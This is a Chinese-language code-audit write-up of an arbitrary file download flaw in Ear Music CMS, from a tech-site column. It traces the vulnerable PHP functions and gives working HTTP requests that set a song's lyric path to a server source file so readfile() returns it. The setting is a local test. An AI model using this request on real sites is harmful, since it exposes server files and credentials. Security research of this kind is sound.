资讯专栏INFORMATION COLUMN

Ear Music CMS代码审计

wangzy2019 / 1068人阅读

Ear Music CMS任意文件下载漏洞

用注册的用户上传一首歌,并且用管理员账号通过审核,查看歌曲点击下载lrc歌词,抓包:

GET /earmus/template/default/source/down.php?type=lrc&id=1 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://127.0.0.1/earmus/index.php/music/1/Connection: close

跟踪用到的down.php文件:

include "../../../source/system/db.class.php";$type = SafeRequest("type","get");$id = SafeRequest("id","get");if($type == "lrc"){        $file = geturl(getfield("music", "in_lyric", "in_id", $id), "lyric");//$file变量来自此处,跟踪一下处理函数}else{        $file = geturl(getfield("video", "in_play", "in_id", $id));}$headers = get_headers($file, 1);if(array_key_exists("Content-Length", $headers)){        $filesize = $headers["Content-Length"];}else{        $filesize = strlen(@file_get_contents($file));}header("Content-Type: application/force-download");header("Content-Disposition: attachment; filename=".basename($file));header("Content-Length: ".$filesize);readfile($file);//此处有readfile函数,变量为$file?>

PHP readfile() 函数:读取一个文件,并写入到输出缓冲。

函数跟踪:

  • getfield:
function getfield($table, $target, $object, $search, $null=0){	global $db;	$sql = "select ".$target." from ".tname($table)." where ".$object."="".$search.""";//注意此处的sql语句,打开数据库跟踪一下	if($one = $db->getone($sql)){		$field = $one;	}else{		$field = $null;	}	return $field;}

注意我标注的地方lyric,就是最终查询的结果,返回值会返回歌词地址

  • geturl:
function geturl($file, $type=""){	if(preg_match("/^data//attachment/", $file)){//从得到的歌词地址中判断是否有该目录,基本就可以跳过了		$url = "http://".$_SERVER["HTTP_HOST"].IN_PATH.$file;	}elseif(empty($file)){//我们的变量不为空,也跳过		switch($type){                        case "lyric":		                $url = "http://".$_SERVER["HTTP_HOST"].IN_PATH."static/user/nolyric.lrc";		                break;                        case "cover":		                $url = "http://".$_SERVER["HTTP_HOST"].IN_PATH."static/user/images/nocover.png";		                break;                        case "avatar":		                $url = "http://".$_SERVER["HTTP_HOST"].IN_PATH."static/user/images/noavatar.jpg";		                break;                        case "photo":		                $url = "http://".$_SERVER["HTTP_HOST"].IN_PATH."static/user/images/nophoto.png";		                break;                        default:		                $url = NULL;		                break;		}	}else{		$url = $file;//也就是最终走到的是这一步	}	return $url;}

也就是说到了最后,返回值依然是歌词的路径地址

然后我们来读一下这个文件:E:/phpstudy/PHPTutorial/WWW/earmus/source/system/function_common.php

在提交页面抓包看一下我们传入的地址有没有经过过滤:

GET /earmus/source/user/music/ajax.php?ac=add&name=%u97F3%u4E50%u540D%u79F0%3A&classid=1&audio=%u97F3%u4E50%u540D%u79F0%3A&specialid=0&singerid=0&tag=%u97F3%u4E50%u540D%u79F0%3A&cover=%u97F3%u4E50%u540D%u79F0%3A&lyric=E%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Cearmus%5Csource%5Csystem%5Cfunction_common.php&text=%u97F3%u4E50%u540D%u79F0%3A HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://127.0.0.1/earmus/user.php/music/add/Cookie: in_userid=1; in_username=admin; in_userpassword=7a57a5a743894a0e; PHPSESSID=t56rr3oqmer9ntnprhd41mlqd0Connection: close

跟踪页面:/earmus/source/user/mu0sic/ajax.php

function SafeRequest($key, $mode, $type=0){	$magic = get_magic_quotes_gpc();	switch($mode){		case "post":			$value = isset($_POST[$key]) ? $magic ? trim($_POST[$key]) : addslashes(trim($_POST[$key])) : NULL;			break;		case "get":			$value = isset($_GET[$key]) ? $magic ? trim($_GET[$key]) : addslashes(trim($_GET[$key])) : NULL;			break;	}	return $type ? $value : htmlspecialchars(str_replace("//"."//", "", $value), ENT_QUOTES, set_chars());}//trim() 函数移除字符串两侧的空白字符或其他预定义字符。//addslashes会将/给转义掉

经过addslashes处理斜杠没了我们可以改用**/**:E:/phpstudy/PHPTutorial/WWW/earmus/source/system/function_common.php

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/121204.html

相关文章

  • 熊海CMS 1.0代码审计漏洞集合

    摘要:适用于个人博客个人网站企业网站等各种用途,前台采用电脑移动端两种显示模式,后台使用响应式布局。的文件名的全路径的最大长度为字节。显然,这种是有缺陷的。 目录 SQL注入 注入1 注入2 注入3 cookie注入 注入5 XSS 反射型xss1 存储型xss2  反射型xss3 反射型xss4...

    xietao3 评论0 收藏0
  • Bash Cookbook 学习笔记 【基础】

    摘要:不挂断地运行一条后台命令用运行一条后台命令时,它只是作为的一个子进程存在。当你关闭当前控制台时,会广播一个挂断信号给它的所有子进程。通过命名可以避免意外的发生。 showImg(https://segmentfault.com/img/bVZARf?w=314&h=413); Read Me 本文是以英文版 为基础整理的笔记,力求脱水 2017.11.23 更新完【基础】,内容涵盖b...

    tuomao 评论0 收藏0
  • Bash Cookbook 学习笔记 【基础】

    摘要:不挂断地运行一条后台命令用运行一条后台命令时,它只是作为的一个子进程存在。当你关闭当前控制台时,会广播一个挂断信号给它的所有子进程。通过命名可以避免意外的发生。 showImg(https://segmentfault.com/img/bVZARf?w=314&h=413); Read Me 本文是以英文版 为基础整理的笔记,力求脱水 2017.11.23 更新完【基础】,内容涵盖b...

    djfml 评论0 收藏0
  • 海纳企业网站管理系统HituxCms2.1代码审计GETSHELL+注入

    摘要:一系统介绍海纳企业网站管理系统是海纳网络工作室专业为企业建站而开发的一款网站程序。是企业建站的绝佳选择系统三大特色全静态全站生成静态页面。够简单拥有完善后台管理系统,所有内容均可在后台进行更新。登录会话产生登陆成功时记录对字段进行验证。 〇.前言 本文为笃行日常工作记录,这篇审计文章,也是在2014年国庆期间写的,比较简单。意在展现一个完整的开源CMS代码手工审计的过程,从未发表过,三...

    Sourcelink 评论0 收藏0
  • 齐博CMS HMAC+Cookie注入漏洞分析

    摘要:前言首先声明这不是,具体齐博版本就不说了,后面应该有人也发现这个漏洞并且发出来了。那时候对当时的齐博系列进行完整的分析和代码审计,漏洞不少,挑几个有意思的发出来。任意长度最终密文则为由于网络传输字符关系,齐博这里对进行了一次操作。 前言 首先声明这不是0day,具体齐博版本就不说了,后面应该有人也发现这个漏洞并且发出来了。 本文为笃行日常工作记录,文章是大概14年国庆节写的,一直未公开...

    DangoSky 评论0 收藏0

发表评论

0条评论

wangzy2019

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<